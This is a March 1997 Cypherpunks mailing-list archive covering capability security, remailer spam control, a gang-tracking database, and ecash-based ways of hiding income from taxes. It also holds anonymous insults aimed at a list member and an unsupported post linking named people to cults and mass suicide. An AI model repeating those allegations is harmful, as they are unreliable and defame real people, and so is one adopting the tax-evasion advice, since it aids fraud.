Subject: Microsoft ammunition
Message-ID: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>


At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
> Whether your personal files are stored on a
>local disk or on a server doesn't matter.  What matters is whether random
>downloaded code (again, Java or ActiveX doesn't matter) can use your
>authority to read/modify those files.  The ActiveX model of, "It's signed
>by XYZ Corp.  Of course it's safe." is so much bullshit.*  The Java
>approach of running untrusted code in a safe box is better, but doing it by
>validating the safety of object code requires trusting a large complex
>verifier.

JavaSoft has moved into the right direction. Their JECF is largely
capabilities based and in fact, Java security in general in moving towards
capabilities. That won't help you against attacks via the underlying
insecure OS, such as Windows 95/NT, MacOS, or UN*X which the typical user
will be running, but it is miles ahead of the initial sandbox model.

>* See Norm Hardy's paper, "The Confused Deputy", which I believe is still
>available through the EROS page at the University of Pennsylvania.

I was a talk by Norm that made me see the light. Secure computing requires
capabilities. And there is anecdotal evidence that it was Norm who
indirectly pointed JavaSoft to the solution to their leaking sandbox problem.

Time for my usual plug: if you are unfamiliar with capabilities based
operating systems or don't know why they are the only currently available
solution to a whole host of computer security problems, do a search for
"KeyKOS". It should get you started.



-- Lucky Green <mailto:shamrock at netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From rah at shipwright.com  Sat Mar 29 20:02:59 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 29 Mar 1997 20:02:59 -0800 (PST)
Subject: Hard to Tax Scenario
In-Reply-To: <199703300144.RAA01396@crypt.hfinney.com>
Message-ID: <v03020935af638549535a@[139.167.130.247]>


At 8:44 pm -0500 on 3/29/97, Hal Finney wrote:

> I think Robin's example of an anonymous doctor is a bit extreme,
> since doctors typically do hands-on work.

Ain't quite so far-fetched as it looks. At the ACM 50 year thing a bit ago,
they were doing telemedical diagnoses. The Army has a teleoperated
meatball-surgery system for battlefields. Onion routed surgery, anyone?

> Yes, I think there is general agreement that these methods will not work
> well for large businesses.  Another issue is the requirement to keep
> fraudulent records, etc., which may involve a large number of people in
> the conspiracy.

Right, but, in a <ducking> geodesic </duck> market, large entities dissolve
anyway because (another of my wildly unsubstantiated claims) large firms'
internal transfer pricing efficiencies aren't any higher than those of the
open market.

> I gather that similar dodges are employeed today by wealthy lawyers and,
> yes, doctors, to hide some of their income.  They hire offshore companies
> to perform some services, which are actually under their control via
> shell corporations, trusts, etc., set up in banking-secrecy jurisdictions.
> Presumably crypto could smooth the way somewhat and open these methods
> up to more people, but I don't see it as a particularly essential ingredient.

I think, soon enough, we're all going to be sole proprietors of some kind,
transacting business on our own behalf on the net, and cash will always
king in that kind of world. Frankly, corporations have no way to hide, or
they would. Heck, when you think about it, corporations, as legal entities,
anyway, can't survive in an environment where laws can't work, anyway.

(By the way, I'm going to embarass Doug Barnes now by naming a law after
him. He said a thing of beauty at FC97: "Any transaction protocol which
has, as one of it's steps, '...and then you call the cops', isn't a real
good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
lots have said it before, but no one's said it better...)


> These all assume a model where the transaction is open, but where the
> ownership issues are hidden.  However I think we have been talking about
> simpler methods, where the fact of the initial income is what is hidden.

Right. Or, if the income is actually earned and spent on the net. There,
cash is the best payment method because it settles instantly without the
recordkeeping overhead --  much less the indirect cost of law-enforcement
:-).


> Or she takes some work on the side
> via an anonymous network, and the cash goes straight into her pocket.

Oops. I shoulda read further, I guess. :-).

> If receipt-skimming is facilitated by the untraceable nature of ecash,
> then presumably sales tax can be under-reported as easily as income tax.

Or capital gains, or any other book-entry tax.


> I don't know how or whether crypto could help with the more elaborate
> techniques you are really asking about, dummy trading partners and such.
> If you're really paying taxes on your gross receipts, then presumably
> the only way to save is to hide those receipts.  You could do this by
> taking some fraction of your work anonymously, even if most of your
> income is reported.

I think of this stuff at the boundry between cypherspace and meatspace as
the equivalent of turbulence. And, as the joke goes, turbulence is a hard
problem.  :-).

However, I do know that as it becomes more and more easy to buy and hold
assets on the net, particularly financial assets (the largest category
thereof) and, someday, maybe even actual meatspace-physical *stuff*, this
problem, like that of punching through the turbulence at the sound barrier,
or that any other "barrier" for that matter, will be not such a big deal.
(Another paragraph of Proustian proportions, that...)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From rah at shipwright.com  Sat Mar 29 20:04:21 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 29 Mar 1997 20:04:21 -0800 (PST)
Subject: PSYOPS/infowar
In-Reply-To: <3.0.1.32.19970329183020.006ef368@postoffice.pacbell.net>
Message-ID: <v0302093aaf638e396ccb@[139.167.130.247]>


This is surely going to piss some people off, but let's some fun with this,
shall we?

At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:

> According to Ronald Duchin, graduate of the US Army War College and
> former special assistant to the Secy of Defense and director of the
> Veterans of Foreign Wars, activists fall into one of four categories:
> radicals, opportunists, idealists, and realists. He recommends a
> three-step strategy to neutralize activists:
>
> 1.	isolate the radicals

Tim May
Kelly Goen
Phil Zimmermann (then)
Belize, say

> 2.	"cultivate" the idealists

CFP (a virtual terrarium :-))
EFF (agrabiz!)
Phil Zimmermann (now)
Eric Hughes
Michael Froomkin
Any cypherpunk who's actually making money on this stuff :-).
Anguilla
Vanuatu
Me ;-)

> 3.	co-opt the realists into agreeing with industry

RSA
Mondex (a little hand-biting here, on my part)
x.blabla
SET-folk
David Chaum
Hong Kong
Indonesia
The Phillipenes

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From sergey at el.net  Sat Mar 29 20:48:26 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Sat, 29 Mar 1997 20:48:26 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <g5Fc5D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329232929.142F-100000@void.el.net>


On Sat, 29 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> Sergey Goldgaber <sergey at el.net> writes:
-> >
-> > Unfortunately, key servers can not be trusted.  I'm sure you're aware that
-> > anyone can submit a key, and thus forgeries abound.
-> >
-> > If the above model is adopted, key servers will be the first target of
-> > the prospective spammer.
-> 
-> Why Sergey, you mean to tell me that there are key servers out there that
-> accept a key from a purported address and don't send back a cookie to that
-> address to see if it's not fake? :-) That's just terrible. Definitely no
-> key coming from such a server should be trusted. :-) :-)
-> 
-> Today is March 29, 1997 - almost April 1st. The Internet ain't what is
-> used to was 15 or 10 or even 2 years ago. If you get an e-mail that
-> purports to be from X, and it requests that you add X's public key
-> to your key server, or (un)subscribe X to a mailing list, or
-> block X from receiving anonymous e-mail - it may be a forgery.
-> Never act on such requests without trying to authenticate them
-> with a cookie.

DNS maps can easily be forged.  Key servers run on machines with questionable 
physical and operating system security.  Finally, key server ops themselves
can mess with keys.

This is why people who use keys off of keyservers are encouraged to verify
the key via it's key fingerprint, or at via the web of trust.

However, this can not be done via automation on a large scale for the purpose
of address blocking, unless via a certification authority.

The bottom line is that keyservers can not be trusted, despite any primitive
security measures they supposedly have in place.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From shamrock at netcom.com  Sat Mar 29 22:12:51 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 29 Mar 1997 22:12:51 -0800 (PST)
Subject: Hard to Tax Scenario
Message-ID: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>


At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
>(By the way, I'm going to embarass Doug Barnes now by naming a law after
>him. He said a thing of beauty at FC97: "Any transaction protocol which
>has, as one of it's steps, '...and then you call the cops', isn't a real
>good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
>lots have said it before, but no one's said it better...)

Actually, I think it was "...and then you punish them". I second the motion.
:-)



-- Lucky Green <mailto:shamrock at netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From nobody at huge.cajones.com  Sun Mar 30 01:34:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 01:34:07 -0800 (PST)
Subject: [IMPORTANT] PRNG
Message-ID: <199703300934.BAA15553@fat.doobie.com>


Timmy May digs into his cesspool of a mind for his mailing list 
fertilizer.

                _
               / '
              |
           /><oo><\  Timmy May
          //[ `' ]\\






From bdolan at USIT.NET  Sun Mar 30 07:13:48 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Sun, 30 Mar 1997 07:13:48 -0800 (PST)
Subject: National Citizen-Unit Tracking Database coming soon
Message-ID: <Pine.GSO.3.95.970330101255.24575F-100000@use.usit.net>


National Citizen Dossier System Being Quietly Set Up

That's what the headlines should be saying, anyway.  Instead
they're saying things like:

     (_Knoxville Journal_, 3/27/97)

     Governor's Budget Includes Money to Set Up Gang-Tracking
     Network

     [...]

     [A]s part of the governor's anti-gang proposals, he's
     proposing to spend $625,000 worth of state and federal money
     to set up a gang-tracking computer database and network.

     Four agents of the Tennessee Bureau of Investigation will be
     assigned to do nothing but gather and maintain information
     about gangs in the state's four regions.

     They will analyze and compile the information on computer
     for dissemination throughout the state, the Southeast, and
     the nation - but not for public use.

     Law enforcement agencies will be able to use it and update
     it.

     Information on the database could include a picture, a
     description, the gang affiliation, criminal convictions,
     crimes that a person is suspected in, and possible
     nicknames.

     [...]

Other press reports have indicated that the database will include
"domestic terrorist groups" and will incorporate a great deal of
additional data, such as a roster of vehicles which should be
given special attention at the now-innumberable roadblocks and
checkpoints.

The important thing to note is that - as I understand the
description of the program -  a person does not have to commit a
crime to be included in the database.  They just have to have
contact with a person or group which is already in it.

Didn't somebody named Jospeh McCarthy get himself in trouble over
this kind of thing?

bd









From adam at homeport.org  Sun Mar 30 07:30:43 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 30 Mar 1997 07:30:43 -0800 (PST)
Subject: Hard to Tax Scenario
In-Reply-To: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>
Message-ID: <199703301526.KAA02522@homeport.org>


When i asked Doug for the details...

>The version I prefer is "It's a major sign of weakness when your 
>payment protocol includes 'and then we have you arrested' as a
>terminating state."

I tend to corrupt this to "'And then the cops show up' is a bad step
to include in your protocol."  Its a wonderful insight.

Adam


Lucky Green wrote:
| At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
| >(By the way, I'm going to embarass Doug Barnes now by naming a law after
| >him. He said a thing of beauty at FC97: "Any transaction protocol which
| >has, as one of it's steps, '...and then you call the cops', isn't a real
| >good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
| >lots have said it before, but no one's said it better...)
| 
| Actually, I think it was "...and then you punish them". I second the motion.
| :-)


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From real at freenet.edmonton.ab.ca  Sun Mar 30 07:32:55 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 30 Mar 1997 07:32:55 -0800 (PST)
Subject: [IMPORTANT] PRNG
In-Reply-To: <199703300934.BAA15553@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970330082913.32426A-100000@fn2.freenet.edmonton.ab.ca>


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:

Vulis what a sick mind.

> Timmy May digs into his cesspool of a mind for his mailing list 
> fertilizer.
> 
>                 _
>                / '
>               |
>            /><oo><\  Timmy May
>           //[ `' ]\\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Sun Mar 30 08:50:23 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 08:50:23 -0800 (PST)
Subject: Heaven's Cypherpunks
Message-ID: <199703301650.IAA24024@fat.doobie.com>



   If you like weird connections, how about a Cypherpunks-Heaven's Gate
link?  If you like really weird connections, how about a Cypherpunks-
Heaven's Gate-Solar Temple link?  If you like really, really weird
connections, how about a Cypherpunks-Heaven's Gate-Solar Temple-
Waco link?
   Lest you think I jest, let me explain that what I am about to tell
you
is fairly easy to verify and document, and is not based on vague
allusions
to some psychic vibrations from the comet, which seem to be rather
commonplace lately.

   In the early 1970's there was a small group in Canada, known as the
Bartonian Metaphysical Society.  The group was joined by an individual
named C.J. Parker, who had just had his first experience of "the end of
the world" as a member of Herbert W. Armstrong's Worldwide Church
of God.
    Parker became a teacher and leader in the group, which soon became
the Institute for Applied Metaphysics, with metaphysical retreats in
Saskatchewan, Ontario and Quebec.  There were often UFO reports
surrounding the dates of their intensive seminars in Eastern Canada,
which received press coverage, I believe.  
   Parker was involved, according to both himself and many others,
in the founding of the New Covenant Club during his involvement
with IAM.  This was centered around the belief that the "old
covenant" with God, which involved circumcision, had now been
replaced with a "new covenant," which involved vasectomies.
   Later, some of the Eastern leaders began indicating that if
vasectomies were a good way of indicating one's dedication to
spirituality in the end-times, then castration was even better.
 
    Parker was soon involved in a second "end of the world" when
Winifred Barton made her prediction in the mid-to-late 1970's.
After her prediction appeared (to some) not to come true, then many
left the group and quite a few migrated to other groups, including
the Solar Temple.
   Parker migrated to Texas, where he was involved in the music
business, and in running clubs for mob interests.  He managed clubs
in Waco and Killeen, Texas, where he apparently became involved
with David Koresh, although that might have been at a later date.
    He was arrested and convicted in Bell County, Texas for assault 
on police officers there, sometime around 1980.
    Parker became a recording artist and soon afterward moved
to Tucson, Arizona, where he continued to dabble in music and
metaphysics, travelling across the SouthWestern U.S., as well as
up and down the west coast.

   He started a computer company in Tucson, called "Pearl Harbor
Computers," which was based on the belief that computers were
the work of Satan, that Bill Gates and Microsoft were tenacles of
the Satan, and that those who wished to fight evil must dedicate
themselves to promoting other operating systems, UNIX in 
particular.
  Parker apparently fathered an organization called the "Circle of
Eunuchs" that was dedicated to recruiting individuals who had
the skills and the intelligence to develop systems and methodologies
which could serve to work against what he saw as the plans of
Satan to bring domination over the whole earth 
   At various times, he has had vehicles registered in the states which
were his main recruiting area: Texas, Arizona, California, New
Mexico, and Oregon. (He also made limited recruiting trips to
Germany, Poland, and, I believe, Russia.)

   Parker spent time in California where he was in contact with Do,
who shared his fetish for mixing computers and spirituality, and it
was apparently Parker who introduced him to the concepts underlying
the New Covenant Club.  Parker and Do also shared an affinity for
mixing spirituality and alien theories, and decided that the Internet
was going to be the battleground of the future in the fight between
good and evil.
   Parker was also involved with a group in Berkeley, California,
Basis, Inc., which was heavily involved in a Unix time-sharing
enterprise and gave Parker access to a wide variety of young
students and programmers to introduce to his belief system.
   Parker named the evil protagonist in the manuscript after the
login name for one of Basis' founders, "Gomez."  Parker wrote
the book under the pseudonym of "son of gomez," as Basis'
Gomez was his mentor in the world of UNIX.

   Parker was responsible for a manuscript titled "The Xenix
Chainsaw Massacre" that contained a character, Bubba Rom Dos,
which was loosely based on Do, including veiled references to
his sexual inclination toward youngsters.  Among those in the
Circle of Eunuchs, it was also referred to as Part I of "The True
Story of the Internet," which they foresaw as the vehicle that 
would prove the manuscript prophetic.
   Parker and his tenacles used the Internet to quietly spread the
manuscript among those thought to be potential recruits, even as
Do's group began making their impact on the Internet.
   Parker believed that Phil Zimmerman's troubles were a result
of his group using Zimmerman's PGP to spread the manuscript
secretly across the Internet.  He apparently impressed upon Do
the need to use PGP to secure any communications which were
of a nature that they could cause undue trouble for groups which
were working against Satan and Gates.

   Parker's second manuscript, Part II , began as "TV World" and
later was changed to "WebWorld and the Mythical Circle of Eunuchs."
   This manuscript was apparently supposed to be converted to
hypertext, with complete graphics, by Higher Source, and several
chapters were in the works, but about a week before the El Rancho 
suicides, Parker was told that he should go ahead and release it in
its present form, because Higher Source would not be in a position
to complete the work.

   Parker began converting the second manuscript to hypertext himself
and has had members of his organization releasing it on the Cypherpunks
list.  Chapters of the manuscript have been released from various points
in the U.S., Canada, the U.K., and Russia.
   Although the manuscript had already been completed around a year
before this, Parker, after receiving word to begin its release, began 
making _changes_ in the manuscript, apparently as a result of no longer
having a need to so heavily disguise the connection between the Circle
of Eunuchs and Do.
   A prologue was written for "WebWorld," sent to the Cypherpunks list
on March 18, 1997, in which the opening strains contained the
quote, "Why didn't I _do_ something?"  The word "do" was in bold
hypertext.
   Then, the next word in bold format was the word _me_, indicating
that the first bold word should be pronounced as in the musical notes,
do, re, me.
   The sentence containing the world _me_?  It was a reference to Do
soon
being 'picked up,'
   "This time, they are coming for _me_."
   And the new opening sentence of the manuscript?  A veiled reference
to the fact that those left behind had been warned of their last chance
to 'escape' the fate that awaits them.
"The great tragedy of it, is that it didn't have to happen.  Not at
all...
we were warned."

The URL's of the manuscripts are:
http://bureau42.base.org/public/webworld/
http://bureau42.base.org/public/xenix/xenbody.html  

   They are apparently hosted by David E. Smith <dsmith at prairienet.org>
I don't believe that he is a member of Parker's inner circle, although
he
does have many connections to hackers and phreaks in the Edmonton,
Alberta area.
   Except for the prologue, the sections of the original manuscript seem
to be in small print, with the newly written sections in large print. 
The
new sections appear to use the Cypherpunks as analogous to the space
aliens, and a new character, Jonathan, representing one of the Heaven's
Gate members, is added.
   "He rode the river of tears once again, only this time the journey
was
_toward_ the CypherPunks, and toward freedom."

   It is my understanding that the "Magic Circle" is quite active in
both
Western Canada and the Southwest U.S.  They seem to be a very secretive 
organization with ties to a number of groups, including the Solar Temple 
cult in Quebec, and a Diamond System (?) Freudian-Sufi sect centered in 
the Bay area.

   I dropped all involvement with these people a year or so ago, as I 
decided that involvement with them is unhealthy.  I hope that you will
make an effort to check out what I have told you, and perhaps expose
any activities which could lead to more deaths and castrations.
   I don't want to be involved with anything further to do with them,
as I am uneasy about being connected with them in any way, shape,
or form, although I still keep track of their activities through certain
members who are on the periphery of their organizations.
   C.J. Parker is a nome-de-plume he took on as a musician, and I can't
recall his real name, but it shouldn't be too difficult to find, given
the
fact that he has a criminal record in the U.S. which should link the
pseudonym with his birth name.  He also might be located by tracking
him through his record releases, which were done in Canada, I believe.

TruthMonger






From aba at dcs.ex.ac.uk  Sun Mar 30 08:56:07 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 30 Mar 1997 08:56:07 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <88Lc5D5w165w@bwalk.dm.com>
Message-ID: <199703301545.QAA03183@server.test.net>



Dimitri Vulis <dlv at bwalk.dm.com> writes:
> Adam Back <aba at dcs.ex.ac.uk> writes:
> > [remailer encrypts data, sends recipient encrypted data, and keeps
> > the key the recipient requests decryption if he wishes]
> >
> > I think this solves remailer resource objections.
> 
> yes, this sort of solves the storage problem.
> 
> Thinking how this might work...
> 
> Alice's remailer gets an e-mail for Bob.
> 
> Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
> K to encrypt the message with a symmetric cryptoscheme.
> 
> Alice's remailer sends the encrypted message and L to Bob with the
> following note: if you want to receive the key to decrypt this
> message, send back L and acknowledge the disclaimer.
> 
> Alice's remailer retains the triple (K,L,Bob). Because it's small,
> it can be kept for a long time.

I think you don't need to keep Bob .. just lookup K with L.  Less
email addresses is a good thing.

The counter argument I suppose is that the Feds, or anyone else who
reads Bobs email can then ask for the key.  But if they can read his
email, they can already read it once he requests the key.  It would
allow an eavesdropper to do a DoS attack against Bob, request all his
emails before he can.

> If Bob sends back L, the remailer sends Bob K so he can read his message.
> 
> I see a few problems with this. I'm sure it can be improved.
> 
> 1. What if Bob is another remailer, unknown to Alice?

Why is this a problem?  You have accept lists for remailers between
themselves.  A private remailer (one not advertising itself on these
lists) just mimics Alice in retreiving the email ... waits a while
then requests the key.

> 2. What if Bob doesn't have the program to decode his message? (It's
> fair to assume that everyone can fine PGP. It's not fair to assume that
> everyone can find e.g. triple DES.)

You can provide a web interface to do it for him.

Or, you can offer the option that if he includes the encrypted message
in his request you will decrypt it for him, by return of email.

> 3. What if the LEA's decide that the collection of triples on Alice's
> computer is worth looking at, for instance, for the list of addresses.
> (OK, they could be encrypted probably.)

Don't keep the addresses as above -- treat the nonce L as the
identitiy.

> 4. What if the LEA's decide to find out how K, L are generated?

Random pool like PGP, it's one way and the pool has more bits than the
key material the Feds have anyway.  /dev/urandom is nice.  

> When Alice's remailer gets an e-mail for Bob, it should do
> something like:
> 
> 
>           try to fetch Bob's public key
>           from a well-run key server
>             /                    \
>          success               failure
>            |                      |
>       encrypt the e-mail      discard the
>       with bob's key and      e-mail!
>       pass it to Bob              |
>                               was the form
>                               letter sent to
>                               Bob in the last
>                               7 days?    \
>                              /            no
>                            yes              \
>                           /                exit
>                     send bob the
>                     form letter
> 
> 
> Wow, isn't that a perry flow chart. :-)

Yes.  A good solution also.  Perhaps we can write a nice remailer
which has a web forms interface for configuration, lots of radio
buttons etc to allow the proud new remailer in a box owner to
configure his remailer, and pretty stats graphs.

[o] discard / keep
if keep how long for [...]

etc.

Then let the remailer operator play with settings and see which works
out best for him.

> It may be hard to prove a negative to a LEO who doesn't know what
> the hell you're talking about. You have a file in your spool that
> was encrypted with a key that your program generated, but now you
> no longer have the key? Well, tell us how the key was generated.

I think you're arguing for your discard all policy :-)

btw if you're interested to fix the keyserver so that it requires an
ack to a ping with a nonce, someone at MIT has a fast PGP key database
/ web key server which isn't using PGPs linear lookup.  You can find a
link to it from Brian LaMachia's keyserver page.

Another snazzy thing to do to the keyserver would be to have it obtain
a timestamp signature on your key (from a third party time stamping
service, of which there are several) and include that too.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From jimbell at pacifier.com  Sun Mar 30 10:35:36 1997
From: jimbell at pacifier.com (jim bell)
Date: Sun, 30 Mar 1997 10:35:36 -0800 (PST)
Subject: PSYOPS/infowar
Message-ID: <199703301835.KAA13744@mail.pacifier.com>


At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
>This is surely going to piss some people off, but let's some fun with this,
>shall we?
>
>At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
>
>> According to Ronald Duchin, graduate of the US Army War College and
>> former special assistant to the Secy of Defense and director of the
>> Veterans of Foreign Wars, activists fall into one of four categories:
>> radicals, opportunists, idealists, and realists. He recommends a
>> three-step strategy to neutralize activists:
>>
>> 1.	isolate the radicals
>
>Tim May
>Kelly Goen
>Phil Zimmermann (then)
>Belize, say

I'm PISSED!  Ya forgot me!!!  B^)


Jim Bell
jimbell at pacifier.com





From real at freenet.edmonton.ab.ca  Sun Mar 30 10:55:29 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 30 Mar 1997 10:55:29 -0800 (PST)
Subject: Heaven's Cypherpunks
In-Reply-To: <199703301650.IAA24024@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970330113902.55744D-100000@fn2.freenet.edmonton.ab.ca>


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:
> does have many connections to hackers and phreaks in the Edmonton,
> Alberta area.

It was on the first of April that hackers and phreaks from the Edmonton
area set out to destroy the eunuch Vulis the evil satan.
So your computer writes a good story.






From toto at sk.sympatico.ca  Sun Mar 30 11:36:06 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 30 Mar 1997 11:36:06 -0800 (PST)
Subject: PSYOPS/infowar
In-Reply-To: <199703301835.KAA13744@mail.pacifier.com>
Message-ID: <333EBF12.36B6@sk.sympatico.ca>


jim bell wrote:
> 
> At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
> >This is surely going to piss some people off, but let's some fun with this,
> >shall we?
> >
> >At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
> >
> >> According to Ronald Duchin, graduate of the US Army War College and
> >> former special assistant to the Secy of Defense and director of the
> >> Veterans of Foreign Wars, activists fall into one of four categories:
> >> radicals, opportunists, idealists, and realists. He recommends a
> >> three-step strategy to neutralize activists:
> >>
> >> 1.   isolate the radicals
> >
> >Tim May
> >Kelly Goen
> >Phil Zimmermann (then)
> >Belize, say
> 
> I'm PISSED!  Ya forgot me!!!  B^)
> 
> Jim Bell
> jimbell at pacifier.com

Jim,
  I think you come under the special classification--'free' radical.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From frantz at netcom.com  Sun Mar 30 13:06:12 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sun, 30 Mar 1997 13:06:12 -0800 (PST)
Subject: Microsoft ammunition
In-Reply-To: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>
Message-ID: <v03007803af6485b0140a@[207.94.249.143]>


At 7:58 PM -0800 3/29/97, Lucky Green wrote:
>At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
>Time for my usual plug: if you are unfamiliar with capabilities based
>operating systems or don't know why they are the only currently available
>solution to a whole host of computer security problems, do a search for
>"KeyKOS". It should get you started.

Lucky - Thanks for your kind words.  And for my usual plug:  Those
interested in KeyKOS ideas in a system which runs on "PC Compatible"
hardware should look at Jonathan Shapiro's EROS system being developed at
the University of Pennsylvania.


-------------------------------------------------------------------------
Bill Frantz       | Back from caving in Borneo.| Periwinkle -- Consulting
(408)356-8506     | Great caves.  We mapped    | 16345 Englewood Ave.
frantz at netcom.com | 25KM on the expedition.    | Los Gatos, CA 95032, USA







From rah at shipwright.com  Sun Mar 30 14:15:45 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 30 Mar 1997 14:15:45 -0800 (PST)
Subject: Money Laundering Conference
In-Reply-To: <v03020902af6397b9c3d8@[139.167.130.246]>
Message-ID: <v0302091daf647bdd6497@[139.167.130.246]>


At 12:13 pm -0500 on 3/30/97, Black Unicorn forwarded to DCSB:


> This is a formal invitation to you to attend the upcoming 8th
> International Oceana Conference on Money Laundering, The Caribbean & Latin
> America, Cybercrime, Financial Crytography and International
                       ^^^^^^^^^^^^^^^^^^^^^
                      Wonder where they got *that* from? :-)

> Financial Crimes on May 6-7, 1997 at the Sonesta Beach Resort and Casino
> Curacao, Curacao, Netherlands Antilles. This conference sponsored by
> Oceana Publications, Inc. in cooperation with the
> Association of International Bankers of the Netherlands Antilles (IBNA),
> The Association of the Compliance Officers of the Netherlands Antilles
> (CONA), and the Centre for International Financial Crimes
> Studies, College of Law, University of Florida will provide global and
> regional coverage of Money Laundering and International Financial Crimes.
>
>
> (See, http://www.oceanalaw.com/seminar/ml2toc.htm)


Hey!!! There's an *echo* in this room. What's the propagation delay here?
Say, what, 3 months? Sheesh.

Don't ever look behind you. They might be gaining...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From bubba at dev.null  Sun Mar 30 15:14:34 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sun, 30 Mar 1997 15:14:34 -0800 (PST)
Subject: WebWorld 21
Message-ID: <333EF356.76ED@dev.null>

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From bubba at dev.null  Sun Mar 30 18:08:39 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sun, 30 Mar 1997 18:08:39 -0800 (PST)
Subject: WebWorld 22
Message-ID: <333F1CC9.7BBB@dev.null>

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From harka at nycmetro.com  Sun Mar 30 20:05:26 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 30 Mar 1997 20:05:26 -0800 (PST)
Subject: National Citizen-Unit
Message-ID: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 In> Governor's Budget Includes Money to Set Up Gang-Tracking
 In> Network

 In> [...]

 In> [A]s part of the governor's anti-gang proposals, he's
 In> proposing to spend $625,000 worth of state and federal money
 In> to set up a gang-tracking computer database and network.

 In> Four agents of the Tennessee Bureau of Investigation will be
 In> assigned to do nothing but gather and maintain information
 In> about gangs in the state's four regions.
<snip>

 In> Information on the database could include a picture, a
 In> description, the gang affiliation, criminal convictions,
 In> crimes that a person is suspected in, and possible
 In> nicknames.

 -=> Quoting In:bdolan at usit.net to Harka <=-

 In> The important thing to note is that - as I understand the
 In> description of the program -  a person does not have to commit a
 In> crime to be included in the database.  They just have to have
 In> contact with a person or group which is already in it.

This has been going on in Germany for several years now under the
name "Raster-Fahndung" (cross-reference-search). What it means is as
